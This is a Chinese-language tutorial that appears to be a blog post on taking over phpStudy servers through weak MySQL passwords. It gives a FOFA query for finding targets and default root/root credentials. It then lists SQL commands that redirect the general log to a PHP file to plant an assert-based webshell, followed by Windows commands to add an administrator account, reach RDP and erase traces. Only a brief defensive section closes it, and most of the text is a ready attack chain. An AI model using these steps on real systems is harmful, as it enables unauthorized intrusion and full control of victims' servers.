开局一个弱口令直接拿Shell
字数 1110 2025-08-15 21:32:18
MySQL弱口令利用与提权实战指南
前言
本教程详细讲解如何通过MySQL弱口令获取系统权限的完整过程,重点针对使用phpStudy环境的服务器。弱口令安全问题是许多系统被入侵的主要原因之一,了解这些攻击手法有助于更好地进行防御。
信息收集阶段
-
目标识别:
- 使用FOFA搜索引擎查找目标:
body="phpstudy探针" && title="phpStudy 探针 2014" - 这类目标通常使用phpStudy集成环境,可能存在默认配置
- 使用FOFA搜索引擎查找目标:
-
探针页面分析:
- 访问目标后,记录网站的绝对路径(后续利用需要)
- 检查phpStudy探针页面,通常在页面底部有MySQL连接测试功能
弱口令测试
-
常用默认凭证:
- phpStudy默认MySQL账号密码:
root/root - 其他常见弱口令组合:
root/空密码、root/123456等
- phpStudy默认MySQL账号密码:
-
登录phpMyAdmin:
- 标准路径:
http://目标IP/phpmyadmin - 使用获取的凭证尝试登录
- 标准路径:
利用日志文件写入Webshell
方法一:通过SQL命令操作
-
检查日志状态:
show variables like 'general_log'; -- 查看日志是否开启 show variables like 'general_log_file'; -- 查看日志文件位置 show variables like 'log_output'; -- 查看日志输出类型 -
配置日志设置:
set global general_log=on; -- 开启日志功能 set global general_log_file='D:/WWW/test.php'; -- 设置日志文件为PHP文件 set global log_output='file'; -- 设置输出类型为文件 -
写入Webshell:
SELECT '<?php assert($_POST["cmd"]); ?>';
方法二:通过phpMyAdmin界面操作
-
导航到"变量"选项卡
-
找到并修改以下变量:
general_log→ ONgeneral_log_file→ 网站根目录下的PHP文件(如:D:/WWW/shell.php)log_output→ file
-
执行任意SQL查询写入PHP代码
Webshell连接与利用
-
使用中国菜刀连接:
- 连接URL设置为日志文件路径(如:http://目标IP/shell.php)
- 密码参数为
cmd
-
虚拟终端功能:
- 通过菜刀的虚拟终端执行系统命令
- 首先检查当前权限:
whoami
系统提权操作
-
添加用户:
net user 用户名 密码 /add- 若密码不符合策略,需调整或使用更复杂密码
-
提升为管理员:
net localgroup administrators 用户名 /add -
检查远程桌面服务:
tasklist /svc | findstr TermService netstat -ano | findstr 进程ID -
通过RDP登录:
- 如果3389端口开放,直接使用新建凭证登录
痕迹清理
- 删除创建的Webshell文件
- 重置MySQL日志配置:
set global general_log=off; set global general_log_file='原路径';
防御措施
-
密码安全:
- 修改所有默认凭证
- 使用强密码策略(大小写字母、数字、特殊字符组合)
-
权限控制:
- MySQL用户应使用最小权限原则
- 限制Web目录的写入权限
-
日志管理:
- 禁用不必要的日志功能
- 监控日志文件目录的异常文件
-
服务加固:
- 关闭不必要的服务(如远程桌面)
- 定期更新系统和应用软件
总结
本教程展示了从MySQL弱口令到系统完全控制的完整攻击链,强调了默认配置和弱口令带来的安全风险。防御方应定期审计系统配置,实施最小权限原则,并监控异常活动。